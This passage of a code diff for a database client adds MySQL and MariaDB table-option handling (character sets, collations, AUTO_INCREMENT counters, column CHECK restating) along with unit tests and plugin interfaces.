+        #expect(parsed == MySQLTableOptionsRow(
+            type: "BASE TABLE", collation: "latin1_swedish_ci", autoIncrement: 4, hasAutoIncrementColumn: true
+        ))
+    }
+
+    @Test("The row naming the table exactly wins over a case variant")
+    func exactNameWins() throws {
+        let rows = [
+            row("Orders", "BASE TABLE", "latin1_bin", nil, "0"),
+            row("orders", "BASE TABLE", "utf8mb4_bin", nil, "0")
+        ]
+        #expect(try #require(MySQLTableOptionsRow.row(named: "orders", in: rows)).collation == "utf8mb4_bin")
+    }
+
+    @Test("A view or a sequence has no table options", arguments: ["VIEW", "SYSTEM VIEW", "SEQUENCE"])
+    func nonTablesHaveNone(type: String) throws {
+        let parsed = try #require(MySQLTableOptionsRow.row(named: "v", in: [row("v", type, nil, nil, "0")]))
+        #expect(MySQLTableOptions.tableOptions(row: parsed, createTableOptions: nil) == nil)
+    }
+
+    @Test("A base table and a system-versioned table read their collation's character set")
+    func tableReadsItsCharacterSet() throws {
+        for type in ["BASE TABLE", "SYSTEM VERSIONED"] {
+            let parsed = try #require(MySQLTableOptionsRow.row(
+                named: "t", in: [row("t", type, "utf8mb4_uca1400_ai_ci", nil, "0")]
+            ))
+            #expect(MySQLTableOptions.tableOptions(row: parsed, createTableOptions: nil)
+                == PluginTableOptions(characterSet: "utf8mb4", collation: "utf8mb4_uca1400_ai_ci", autoIncrement: nil))
+        }
+    }
+
+    @Test("A collation's character set is its prefix", arguments: [
+        ("utf8mb4_uca1400_ai_ci", "utf8mb4"),
+        ("latin1_swedish_ci", "latin1"),
+        ("utf8mb3_general_ci", "utf8mb3"),
+        ("binary", "binary")
+    ])
+    func characterSetOfCollation(collation: String, expected: String) {
+        #expect(MySQLTableOptions.characterSet(ofCollation: collation) == expected)
+    }
+
+    @Test("No collation names no character set")
+    func noCollation() {
+        #expect(MySQLTableOptions.characterSet(ofCollation: nil) == nil)
+        #expect(MySQLTableOptions.characterSet(ofCollation: "") == nil)
+    }
+
+    // MARK: - Counter
+
+    private func tableRow(autoIncrement: UInt64?, hasColumn: Bool) -> MySQLTableOptionsRow {
+        MySQLTableOptionsRow(
+            type: "BASE TABLE", collation: "utf8mb4_bin", autoIncrement: autoIncrement, hasAutoIncrementColumn: hasColumn
+        )
+    }
+
+    @Test("A table without an AUTO_INCREMENT column has no counter, whatever the catalog says")
+    func noColumnNoCounter() {
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: 50, hasColumn: false), createTableOptions: nil) == nil)
+    }
+
+    @Test("MySQL reads the counter from SHOW CREATE TABLE over its stale catalog")
+    func mysqlReadsTheOptionsLine() {
+        let options = ["ENGINE": "InnoDB", "AUTO_INCREMENT": "9", "CHARSET": "utf8mb4"]
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: 4, hasColumn: true), createTableOptions: options) == 9)
+    }
+
+    @Test("An options line with no AUTO_INCREMENT clause means the next value is 1")
+    func missingClauseIsOne() {
+        let options = ["ENGINE": "InnoDB", "CHARSET": "utf8mb4"]
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: 4, hasColumn: true), createTableOptions: options) == 1)
+    }
+
+    @Test("An options line printed without ENGINE says nothing, so the catalog answers")
+    func blankOptionsLineFallsBackToTheCatalog() {
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: 4, hasColumn: true), createTableOptions: [:]) == 4)
+    }
+
+    @Test("MariaDB reads its live catalog, and an empty value there is 1")
+    func mariadbReadsTheCatalog() {
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: 100, hasColumn: true), createTableOptions: nil) == 100)
+        #expect(MySQLTableOptions.counter(row: tableRow(autoIncrement: nil, hasColumn: true), createTableOptions: nil) == 1)
+    }
+
+    // MARK: - Schema defaults
+
+    @Test("A schema's defaults come from its own SCHEMATA row")
+    func schemaDefaults() {
+        let rows = [
+            row("Shop", "latin1", "latin1_swedish_ci"),
+            row("shop", "utf8mb4", "utf8mb4_uca1400_ai_ci")
+        ]
+        #expect(MySQLTableOptions.schemaDefaults(named: "shop", in: rows)
+            == PluginTableOptions(characterSet: "utf8mb4", collation: "utf8mb4_uca1400_ai_ci"))
+        #expect(MySQLTableOptions.schemaDefaults(named: "missing", in: []) == nil)
+        #expect(MySQLTableOptions.schemaDefaultsQuery(schema: "shop").contains("SCHEMA_NAME = 'shop'"))
+    }
+
+    // MARK: - Catalog
+
+    @Test("Engines the server cannot create are left out, and its default is named")
+    func engines() {
+        let engines = MySQLTableOptions.engines(fromRows: [
+            row("MyISAM", "YES"),
+            row("FEDERATED", "NO"),
+            row("InnoDB", "DEFAULT"),
+            row("ndbcluster", "DISABLED"),
+            row("Aria", "YES")
+        ])
+        let names = engines.map(\.name)
+        let defaults = engines.filter(\.isDefault).map(\.name)
+        #expect(names == ["Aria", "InnoDB", "MyISAM"])
+        #expect(defaults == ["InnoDB"])
+    }
+
+    @Test("Each character set lists its own collations, sorted, its default among them")
+    func catalogGroupsCollations() {
+        let catalog = MySQLTableOptions.catalog(
+            characterSets: [
+                MySQLCharsetDefault(charset: "latin1", defaultCollation: "latin1_swedish_ci", description: "cp1252 West European"),
+                MySQLCharsetDefault(charset: "utf8mb4", defaultCollation: "utf8mb4_uca1400_ai_ci", description: nil)
+            ],
+            collations: [
+                MySQLCollationEntry(collation: "utf8mb4_general_ci", charset: "utf8mb4"),
+                MySQLCollationEntry(collation: "latin1_bin", charset: "latin1"),
+                MySQLCollationEntry(collation: "latin1_swedish_ci", charset: "latin1"),
+                MySQLCollationEntry(collation: "utf8mb4_bin", charset: "utf8mb4")
+            ],
+            engines: [MySQLStorageEngine(name: "Aria", isDefault: false), MySQLStorageEngine(name: "InnoDB", isDefault: true)]
+        )
+        #expect(catalog.characterSets == [
+            PluginCharacterSet(
+                name: "latin1",
+                defaultCollation: "latin1_swedish_ci",
+                collations: ["latin1_bin", "latin1_swedish_ci"],
+                description: "cp1252 West European"
+            ),
+            PluginCharacterSet(
+                name: "utf8mb4",
+                defaultCollation: "utf8mb4_uca1400_ai_ci",
+                collations: ["utf8mb4_bin", "utf8mb4_general_ci", "utf8mb4_uca1400_ai_ci"],
+                description: nil
+            )
+        ])
+        #expect(catalog.engines == ["Aria", "InnoDB"])
+        #expect(catalog.defaultEngine == "InnoDB")
+    }
+
+    @Test("The catalog column probes name information_schema's own tables")
+    func catalogColumnProbes() {
+        #expect(MySQLCatalogColumn.fullCollationName.presenceQuery.contains(
+            "TABLE_NAME = 'COLLATION_CHARACTER_SET_APPLICABILITY'"
+        ))
+        #expect(MySQLCatalogColumn.fullCollationName.presenceQuery.contains("COLUMN_NAME = 'FULL_COLLATION_NAME'"))
+        #expect(MySQLCatalogColumn.checkConstraintLevel.presenceQuery.contains("TABLE_NAME = 'CHECK_CONSTRAINTS'"))
+        #expect(MySQLCatalogColumn.checkConstraintLevel.presenceQuery.contains("COLUMN_NAME = 'LEVEL'"))
+    }
+}
diff --git a/apple/Plugins/TableProPluginKit/PluginColumnInfo.swift b/apple/Plugins/TableProPluginKit/PluginColumnInfo.swift
index d1dfa625d6..6db5aaba70 100644
--- a/apple/Plugins/TableProPluginKit/PluginColumnInfo.swift
+++ b/apple/Plugins/TableProPluginKit/PluginColumnInfo.swift
@@ -89,6 +89,11 @@ public struct PluginColumnInfo: Codable, Sendable {
     /// geometry. This is the classified name for exactly those columns, `ENUM`, `INTEGER`,
     /// `geometry`, and nil wherever the declared spelling classifies the same.
     public let classificationTypeName: String?
+    /// The expression of a `CHECK` written on the column itself, or nil for none.
+    ///
+    /// MariaDB keeps such a check apart from the table's constraints and drops it on any `MODIFY` that
+    /// does not restate it, the `json_valid` check on a `JSON` column included, so a driver restates it.
+    public let columnCheck: String?
 
     public var isIdentity: Bool { identityKind != nil }
 
@@ -133,6 +138,7 @@ public struct PluginColumnInfo: Codable, Sendable {
         self.ddlGenerationExpression = nil
         self.ddlCollation = nil
         self.classificationTypeName = nil
+        self.columnCheck = nil
     }
 
     /// The signature published before the DDL spellings existed, kept byte-identical and disfavoured
@@ -173,6 +179,7 @@ public struct PluginColumnInfo: Codable, Sendable {
         self.ddlGenerationExpression = nil
         self.ddlCollation = nil
         self.classificationTypeName = nil
+        self.columnCheck = nil
     }
 
     /// The signature published before `ddlCollation` existed, kept byte-identical and disfavoured for
@@ -216,6 +223,7 @@ public struct PluginColumnInfo: Codable, Sendable {
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = nil
         self.classificationTypeName = nil
+        self.columnCheck = nil
     }
 
     /// The signature published before `classificationTypeName` existed, kept byte-identical and
@@ -260,8 +268,12 @@ public struct PluginColumnInfo: Codable, Sendable {
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = ddlCollation
         self.classificationTypeName = nil
+        self.columnCheck = nil
     }
 
+    /// The signature published before `columnCheck` existed, kept byte-identical and disfavoured for
+    /// the same reason as the ones above.
+    @_disfavoredOverload
     public init(
         name: String,
         dataType: String,
@@ -302,5 +314,50 @@ public struct PluginColumnInfo: Codable, Sendable {
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = ddlCollation
         self.classificationTypeName = classificationTypeName
+        self.columnCheck = nil
+    }
+
+    public init(
+        name: String,
+        dataType: String,
+        isNullable: Bool = true,
+        isPrimaryKey: Bool = false,
+        defaultValue: String? = nil,
+        extra: String? = nil,
+        charset: String? = nil,
+        collation: String? = nil,
+        comment: String? = nil,
+        identityKind: IdentityKind? = nil,
+        isGenerated: Bool = false,
+        allowedValues: [String]? = nil,
+        generationExpression: String?,
+        generationKind: GenerationKind?,
+        ddlSpelling: String?,
+        ddlDefault: String?,
+        ddlGenerationExpression: String?,
+        ddlCollation: String?,
+        classificationTypeName: String?,
+        columnCheck: String?
+    ) {
+        self.name = name
+        self.dataType = dataType
+        self.isNullable = isNullable
+        self.isPrimaryKey = isPrimaryKey
+        self.defaultValue = defaultValue
+        self.extra = extra
+        self.charset = charset
+        self.collation = collation
+        self.comment = comment
+        self.identityKind = identityKind
+        self.isGenerated = isGenerated
+        self.allowedValues = allowedValues
+        self.generationExpression = generationExpression
+        self.generationKind = generationKind
+        self.ddlSpelling = ddlSpelling
+        self.ddlDefault = ddlDefault
+        self.ddlGenerationExpression = ddlGenerationExpression
+        self.ddlCollation = ddlCollation
+        self.classificationTypeName = classificationTypeName
+        self.columnCheck = columnCheck
     }
 }
diff --git a/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift b/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
index 2105e052b9..916bde30e1 100644
--- a/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
+++ b/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
@@ -622,6 +622,20 @@ public protocol PluginDatabaseDriver: AnyObject, Sendable {
     /// or empty comment removes it. Return nil for a kind the engine cannot comment on.
     func objectCommentStatement(name: String, objectType: String, schema: String?, comment: String?) -> String?
 
+    /// The table's default character set, collation and AUTO_INCREMENT counter, read live. Nil where the
+    /// engine has no such table options.
+    func fetchTableOptions(table: String, schema: String?) async throws -> PluginTableOptions?
+
+    /// The character sets, collations and storage engines the server offers any table. Nil where the engine
+    /// has none.
+    func fetchTableOptionsCatalog() async throws -> PluginTableOptionsCatalog?
+
+    /// The character set and collation a new table in `schema` takes when it names none.
+    func fetchDefaultTableOptions(schema: String?) async throws -> PluginTableOptions?
+
+    /// The statement that applies `change` to an existing table. Return nil where the engine cannot.
+    func tableOptionsStatement(table: String, schema: String?, change: PluginTableOptionsChange) -> String?
+
     /// The statement that recomputes a materialized view's stored rows. Return nil where the engine
     /// has no materialized views or keeps them current on its own.
     func refreshMaterializedViewStatement(name: String, schema: String?, concurrently: Bool) -> String?
diff --git a/apple/Plugins/TableProPluginKit/PluginTableOptions.swift b/apple/Plugins/TableProPluginKit/PluginTableOptions.swift
new file mode 100644
index 0000000000..b323b5b867
--- /dev/null
+++ b/apple/Plugins/TableProPluginKit/PluginTableOptions.swift
@@ -0,0 +1,77 @@
+import Foundation
+
+/// A table's default character set and collation, and its AUTO_INCREMENT counter.
+public struct PluginTableOptions: Sendable, Equatable {
+    public let characterSet: String?
+    public let collation: String?
+    /// The value the next row takes, or nil when the table has no AUTO_INCREMENT column.
+    public let autoIncrement: UInt64?
+
+    public init(characterSet: String? = nil, collation: String? = nil, autoIncrement: UInt64? = nil) {
+        self.characterSet = characterSet
+        self.collation = collation
+        self.autoIncrement = autoIncrement
+    }
+}
+
+public struct PluginCharacterSet: Sendable, Equatable {
+    public let name: String
+    public let defaultCollation: String
+    /// Every collation of this character set, its default included.
+    public let collations: [String]
+    public let description: String?
+
+    public init(name: String, defaultCollation: String, collations: [String], description: String? = nil) {
+        self.name = name
+        self.defaultCollation = defaultCollation
+        self.collations = collations
+        self.description = description
+    }
+}
+
+/// What the server offers any table: its character sets and collations, and the storage engines it can create.
+public struct PluginTableOptionsCatalog: Sendable, Equatable {
+    public let characterSets: [PluginCharacterSet]
+    public let engines: [String]
+    public let defaultEngine: String?
+
+    public init(characterSets: [PluginCharacterSet], engines: [String] = [], defaultEngine: String? = nil) {
+        self.characterSets = characterSets
+        self.engines = engines
+        self.defaultEngine = defaultEngine
+    }
+}
+
+/// A change to an existing table's options. A nil field is left as it is.
+public struct PluginTableOptionsChange: Sendable, Equatable {
+    public let characterSet: String?
+    public let collation: String?
+    /// Rewrites every text column to `characterSet` and `collation`, which a convert always names, instead of
+    /// changing only the default that columns added later take.
+    public let convertsColumns: Bool
+    public let autoIncrement: UInt64?
+
+    public init(
+        characterSet: String? = nil,
+        collation: String? = nil,
+        convertsColumns: Bool = false,
+        autoIncrement: UInt64? = nil
+    ) {
+        self.characterSet = characterSet
+        self.collation = collation
+        self.convertsColumns = convertsColumns
+        self.autoIncrement = autoIncrement
+    }
+}
+
+public extension PluginDatabaseDriver {
+    func fetchTableOptions(table: String, schema: String?) async throws -> PluginTableOptions? { nil }
+
+    func fetchTableOptionsCatalog() async throws -> PluginTableOptionsCatalog? { nil }
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> PluginTableOptions? { nil }
+
+    func tableOptionsStatement(table: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        nil
+    }
+}
diff --git a/apple/Plugins/TableProPluginKit/SchemaTypes.swift b/apple/Plugins/TableProPluginKit/SchemaTypes.swift
index cc094d790a..e513688258 100644
--- a/apple/Plugins/TableProPluginKit/SchemaTypes.swift
+++ b/apple/Plugins/TableProPluginKit/SchemaTypes.swift
@@ -44,6 +44,9 @@ public struct PluginColumnDefinition: Sendable {
     /// What follows `COLLATE` in a `CREATE TABLE`, or nil to write no `COLLATE` clause.
     /// `PluginColumnInfo.ddlCollation` says why it is not `collation`.
     public let ddlCollation: String?
+    /// The column's own `CHECK` expression, restated by a driver whose server drops it on `MODIFY`.
+    /// `PluginColumnInfo.columnCheck` says where it comes from.
+    public let columnCheck: String?
 
     /// The signature published before generated-column detail existed. Kept byte-identical and
     /// disfavoured so already-built plugins keep resolving their own mangled symbol.
@@ -78,6 +81,7 @@ public struct PluginColumnDefinition: Sendable {
         self.ddlDefault = nil
         self.ddlGenerationExpression = nil
         self.ddlCollation = nil
+        self.columnCheck = nil
     }
 
     /// The signature published before the DDL spellings existed, kept byte-identical and disfavoured
@@ -115,6 +119,7 @@ public struct PluginColumnDefinition: Sendable {
         self.ddlDefault = nil
         self.ddlGenerationExpression = nil
         self.ddlCollation = nil
+        self.columnCheck = nil
     }
 
     /// The signature published before `ddlCollation` existed, kept byte-identical and disfavoured for
@@ -155,8 +160,12 @@ public struct PluginColumnDefinition: Sendable {
         self.ddlDefault = ddlDefault
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = nil
+        self.columnCheck = nil
     }
 
+    /// The signature published before `columnCheck` existed, kept byte-identical and disfavoured for
+    /// the same reason as the ones above.
+    @_disfavoredOverload
     public init(
         name: String,
         dataType: String,
@@ -193,6 +202,47 @@ public struct PluginColumnDefinition: Sendable {
         self.ddlDefault = ddlDefault
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = ddlCollation
+        self.columnCheck = nil
+    }
+
+    public init(
+        name: String,
+        dataType: String,
+        isNullable: Bool = true,
+        defaultValue: String? = nil,
+        isPrimaryKey: Bool = false,
+        autoIncrement: Bool = false,
+        comment: String? = nil,
+        unsigned: Bool = false,
+        onUpdate: String? = nil,
+        charset: String? = nil,
+        collation: String? = nil,
+        generationExpression: String?,
+        generationKind: GenerationKind?,
+        ddlSpelling: String?,
+        ddlDefault: String?,
+        ddlGenerationExpression: String?,
+        ddlCollation: String?,
+        columnCheck: String?
+    ) {
+        self.name = name
+        self.dataType = dataType
+        self.isNullable = isNullable
+        self.defaultValue = defaultValue
+        self.isPrimaryKey = isPrimaryKey
+        self.autoIncrement = autoIncrement
+        self.comment = comment
+        self.unsigned = unsigned
+        self.onUpdate = onUpdate
+        self.charset = charset
+        self.collation = collation
+        self.generationExpression = generationExpression
+        self.generationKind = generationKind
+        self.ddlSpelling = ddlSpelling
+        self.ddlDefault = ddlDefault
+        self.ddlGenerationExpression = ddlGenerationExpression
+        self.ddlCollation = ddlCollation
+        self.columnCheck = columnCheck
     }
 
     public var isGenerated: Bool { generationExpression?.isEmpty == false }
diff --git a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
index 57c860b9e9..80388eab7f 100644
--- a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
+++ b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
@@ -163,7 +163,7 @@ internal struct SchemaSyncScriptBuilder {
 
 internal enum SchemaChangeOrdering {
     internal static func sorted(_ changes: [SchemaChange]) -> [SchemaChange] {
-        var buckets: [[SchemaChange]] = Array(repeating: [], count: 11)
+        var buckets: [[SchemaChange]] = Array(repeating: [], count: 13)
         for change in changes {
             buckets[bucket(for: change)].append(change)
         }
@@ -176,13 +176,15 @@ internal enum SchemaChangeOrdering {
         case .deleteForeignKey, .modifyForeignKey: return 1
         case .deleteIndex, .modifyIndex: return 2
         case .deleteColumn: return 3
-        case .modifyColumn: return 4
-        case .addColumn: return 5
-        case .modifyPrimaryKey: return 6
-        case .addIndex: return 7
-        case .addForeignKey: return 8
-        case .addCheckConstraint: return 9
-        case .modifyTableComment: return 10
+        case .modifyTableCharacterSet: return 4
+        case .modifyColumn: return 5
+        case .addColumn: return 6
+        case .modifyPrimaryKey: return 7
+        case .modifyAutoIncrement: return 8
+        case .addIndex: return 9
+        case .addForeignKey: return 10
+        case .addCheckConstraint: return 11
+        case .modifyTableComment: return 12
         }
     }
 }
diff --git a/apple/TablePro/Core/Compare/SyncSafetyClassifier.swift b/apple/TablePro/Core/Compare/SyncSafetyClassifier.swift
index 31320ee21c..5da3bf6d05 100644
--- a/apple/TablePro/Core/Compare/SyncSafetyClassifier.swift
+++ b/apple/TablePro/Core/Compare/SyncSafetyClassifier.swift
@@ -71,8 +71,16 @@ internal struct SyncSafetyClassifier {
                     constraint.name
                 )
             )]
+        case .modifyTableCharacterSet(_, let new) where new.convertsColumns:
+            return [SyncHazard(
+                kind: .collationOrCharsetChange,
+                severity: .refusedByDefault,
+                explanation: String(
+                    localized: "Converting the table's character set rewrites every text column and loses characters the new one cannot hold."
+                )
+            )]
         case .deleteForeignKey, .addForeignKey, .modifyForeignKey, .addColumn, .addIndex, .modifyIndex,
-             .modifyTableComment:
+             .modifyTableComment, .modifyTableCharacterSet, .modifyAutoIncrement:
             return []
         }
     }
diff --git a/apple/TablePro/Core/Database/DatabaseDriver.swift b/apple/TablePro/Core/Database/DatabaseDriver.swift
index 466a82b60a..3d4de75985 100644
--- a/apple/TablePro/Core/Database/DatabaseDriver.swift
+++ b/apple/TablePro/Core/Database/DatabaseDriver.swift
@@ -407,6 +407,18 @@ protocol DatabaseDriver: AnyObject, Sendable {
         schema: String?
     ) async throws -> PluginConcurrentRefreshAvailability?
 
+    // MARK: - Table Options
+
+    /// Nil where the engine has no table options.
+    func fetchTableOptions(tableName: String) async throws -> TableOptions?
+
+    func fetchTableOptionsCatalog() async throws -> TableOptionsCatalog?
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> TableOptions?
+
+    /// Nil where the engine cannot make `change`. Takes the table's own schema, like `objectCommentStatement`.
+    func tableOptionsStatement(tableName: String, schema: String?, change: PluginTableOptionsChange) -> String?
+
     // MARK: - Sequences
 
     func fetchSequenceDetails(sequence: String, schema: String?) async throws -> PluginSequenceDetails?
@@ -894,6 +906,16 @@ extension DatabaseDriver {
         nil
     }
 
+    func fetchTableOptions(tableName: String) async throws -> TableOptions? { nil }
+
+    func fetchTableOptionsCatalog() async throws -> TableOptionsCatalog? { nil }
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> TableOptions? { nil }
+
+    func tableOptionsStatement(tableName: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        nil
+    }
+
     func fetchSequenceDetails(sequence: String, schema: String?) async throws -> PluginSequenceDetails? { nil }
 
     func sequenceNextValueStatement(for sequence: PluginSequenceDetails, nextValue: PluginSequenceNextValue) -> String? {
diff --git a/apple/TablePro/Core/Database/DatabaseObjectToolEligibility.swift b/apple/TablePro/Core/Database/DatabaseObjectToolEligibility.swift
index 1469b7dd77..386b56df4e 100644
--- a/apple/TablePro/Core/Database/DatabaseObjectToolEligibility.swift
+++ b/apple/TablePro/Core/Database/DatabaseObjectToolEligibility.swift
@@ -23,6 +23,7 @@ enum DatabaseObjectToolEligibility {
         var creatableTypeKinds: Set<UserDefinedTypeInfo.Kind> = []
         var canSetSequenceValues = false
         var canAlterSequences = false
+        var canSetTableOptions = false
 
         static let none = Support()
 
@@ -66,7 +67,11 @@ enum DatabaseObjectToolEligibility {
                     } != nil
                 }),
                 canSetSequenceValues: driver.sequenceNextValueStatement(for: sequenceProbe, nextValue: .value(1)) != nil,
-                canAlterSequences: driver.alterSequenceStatement(for: sequenceProbe, settings: changed) != nil
+                canAlterSequences: driver.alterSequenceStatement(for: sequenceProbe, settings: changed) != nil,
+                canSetTableOptions: driver.tableOptionsStatement(
+                    tableName: "t", schema: "s",
+                    change: PluginTableOptionsChange(characterSet: "utf8mb4", collation: "utf8mb4_bin")
+                ) != nil
             )
         }
 
@@ -121,4 +126,10 @@ enum DatabaseObjectToolEligibility {
     static func canEditSequence(_ type: TableInfo.TableType?, support: Support, isReadOnly: Bool) -> Bool {
         !isReadOnly && type == .sequence && support.canAlterSequences
     }
+
+    /// Asked of the live driver, which answers per server flavor. A view refuses `ALTER TABLE` with ERROR 1347.
+    @MainActor
+    static func offersTableOptions(driver: DatabaseDriver?, objectKind: TableInfo.TableType) -> Bool {
+        (objectKind == .table || objectKind == .partitionedTable) && Support.of(driver).canSetTableOptions
+    }
 }
diff --git a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift
index 687fa88b57..c32a51f3aa 100644
--- a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift
+++ b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift
@@ -1235,6 +1235,26 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor
         try await pluginDriver.concurrentRefreshAvailability(materializedView: materializedView, schema: schema)
     }
 
+    // MARK: - Table Options
+
+    func fetchTableOptions(tableName: String) async throws -> TableOptions? {
+        try await pluginDriver.fetchTableOptions(table: tableName, schema: pluginDriver.currentSchema)
+            .map(TableOptions.init)
+    }
+
+    func fetchTableOptionsCatalog() async throws -> TableOptionsCatalog? {
+        try await pluginDriver.fetchTableOptionsCatalog().map(TableOptionsCatalog.init)
+    }
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> TableOptions? {
+        try await pluginDriver.fetchDefaultTableOptions(schema: schema ?? pluginDriver.currentSchema)
+            .map(TableOptions.init)
+    }
+
+    func tableOptionsStatement(tableName: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        pluginDriver.tableOptionsStatement(table: tableName, schema: schema, change: change)
+    }
+
     // MARK: - Sequences
 
     func fetchSequenceDetails(sequence: String, schema: String?) async throws -> PluginSequenceDetails? {
diff --git a/apple/TablePro/Core/Plugins/PluginObjectMapping.swift b/apple/TablePro/Core/Plugins/PluginObjectMapping.swift
index 4f5898e5ab..ae22dbc476 100644
--- a/apple/TablePro/Core/Plugins/PluginObjectMapping.swift
+++ b/apple/TablePro/Core/Plugins/PluginObjectMapping.swift
@@ -3,7 +3,7 @@
 //  TablePro
 //
 //  The single crossing between PluginKit's column, index, foreign key, check constraint, table
-//  metadata, routine, trigger and type transfer types and the app's.
+//  metadata, table options, routine, trigger and type transfer types and the app's.
 //
 
 import Foundation
@@ -30,7 +30,8 @@ extension ColumnInfo {
             ddlDefault: column.ddlDefault,
             ddlGenerationExpression: column.ddlGenerationExpression,
             ddlCollation: column.ddlCollation,
-            classificationTypeName: column.classificationTypeName
+            classificationTypeName: column.classificationTypeName,
+            columnCheck: column.columnCheck
         )
     }
 }
@@ -98,6 +99,37 @@ extension TableMetadata {
     }
 }
 
+extension TableOptions {
+    init(_ options: PluginTableOptions) {
+        self.init(
+            characterSet: options.characterSet,
+            collation: options.collation,
+            autoIncrement: options.autoIncrement
+        )
+    }
+}
+
+extension TableCharacterSet {
+    init(_ characterSet: PluginCharacterSet) {
+        self.init(
+            name: characterSet.name,
+            defaultCollation: characterSet.defaultCollation,
+            collations: characterSet.collations,
+            description: characterSet.description
+        )
+    }
+}
+
+extension TableOptionsCatalog {
+    init(_ catalog: PluginTableOptionsCatalog) {
+        self.init(
+            characterSets: catalog.characterSets.map(TableCharacterSet.init),
+            engines: catalog.engines,
+            defaultEngine: catalog.defaultEngine
+        )
+    }
+}
+
 extension ObjectAttribute {
     init(_ attribute: PluginObjectAttribute) {
         self.init(label: attribute.label, value: attribute.value)
diff --git a/apple/TablePro/Core/SchemaTracking/SchemaOperationRefusal.swift b/apple/TablePro/Core/SchemaTracking/SchemaOperationRefusal.swift
index 1f62c97502..43db81ee1d 100644
--- a/apple/TablePro/Core/SchemaTracking/SchemaOperationRefusal.swift
+++ b/apple/TablePro/Core/SchemaTracking/SchemaOperationRefusal.swift
@@ -35,13 +35,14 @@ internal enum SchemaOperationRefusal {
             return driver.schemaOperationRefusal(.modifyColumn(old: old.toPlugin(), new: new.toPlugin()))
         case .deleteColumn(let column):
             return driver.schemaOperationRefusal(.dropColumn(column.toPlugin()))
-        case .addForeignKey, .modifyForeignKey, .deleteForeignKey, .modifyPrimaryKey, .modifyTableComment:
+        case .addForeignKey, .modifyForeignKey, .deleteForeignKey, .modifyPrimaryKey, .modifyTableComment,
+             .modifyTableCharacterSet, .modifyAutoIncrement:
             return nil
         }
     }
 
-    /// A check constraint is an operation only when it is renamed, and foreign key, primary key and
-    /// comment changes have no case at all.
+    /// A check constraint is an operation only when it is renamed, and foreign key, primary key,
+    /// comment and table option changes have no case at all.
     static func operations(for change: SchemaChange) -> [PluginSchemaOperation] {
         switch change {
         case .addColumn(let column):
@@ -60,7 +61,7 @@ internal enum SchemaOperationRefusal {
             guard old.expression == new.expression, old.name != new.name else { return [] }
             return [.renameCheckConstraint(from: old.name, to: new.name)]
         case .addCheckConstraint, .deleteCheckConstraint, .addForeignKey, .modifyForeignKey, .deleteForeignKey,
-             .modifyPrimaryKey, .modifyTableComment:
+             .modifyPrimaryKey, .modifyTableComment, .modifyTableCharacterSet, .modifyAutoIncrement:
             return []
         }
     }
diff --git a/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift b/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
index 68bfa6f17e..5ecd62935d 100644
--- a/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
+++ b/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
@@ -86,14 +86,16 @@ struct SchemaStatementGenerator {
     private func sortByDependency(_ staged: [SchemaChange]) -> [SchemaChange] {
         // Execution order for safety:
         // 1. Drop foreign keys first (includes modify FK, which requires drop+recreate)
-        // 2. Drop indexes (a modified index drops here and is added at 6, unless the driver
+        // 2. Drop indexes (a modified index drops here and is added at 8, unless the driver
         //    replaces it in one statement and no column changes in the same save)
-        // 3. Drop/modify columns
-        // 4. Add columns
-        // 5. Modify primary key
-        // 6. Add indexes
-        // 7. Add foreign keys
-        // 8. Comments, last, so every structural statement has run on an engine without transactional DDL
+        // 3. Drop columns
+        // 4. Table character set: after the drops a convert trips on, before the columns added under a new default
+        // 5. Modify columns, then add columns
+        // 6. Modify primary key
+        // 7. AUTO_INCREMENT counter, after a MODIFY that turns AUTO_INCREMENT on, which resets it
+        // 8. Add indexes
+        // 9. Add foreign keys
+        // 10. Comments, last, so every structural statement has run on an engine without transactional DDL
         // Every drop of an index or a check constraint runs before any add or rename of one, and a
         // rename or add runs after the rename that frees its name. The structure editor counts a
         // deleted or renamed row's name as free on that basis.
@@ -111,6 +113,8 @@ struct SchemaStatementGenerator {
         var fkAdds: [SchemaChange] = []
         var constraintAdds: [SchemaChange] = []
         var commentChanges: [SchemaChange] = []
+        var characterSetChanges: [SchemaChange] = []
+        var autoIncrementChanges: [SchemaChange] = []
         let keepsIndexModifiesWhole = !changes.contains(where: Self.changesColumns)
 
         for change in changes {
@@ -162,6 +166,10 @@ struct SchemaStatementGenerator {
                 fkAdds.append(change)
             case .modifyTableComment:
                 commentChanges.append(change)
+            case .modifyTableCharacterSet:
+                characterSetChanges.append(change)
+            case .modifyAutoIncrement:
+                autoIncrementChanges.append(change)
             }
         }
 
@@ -169,8 +177,8 @@ struct SchemaStatementGenerator {
         let indexHandoffs = Self.inNameOrder(indexAdds)
 
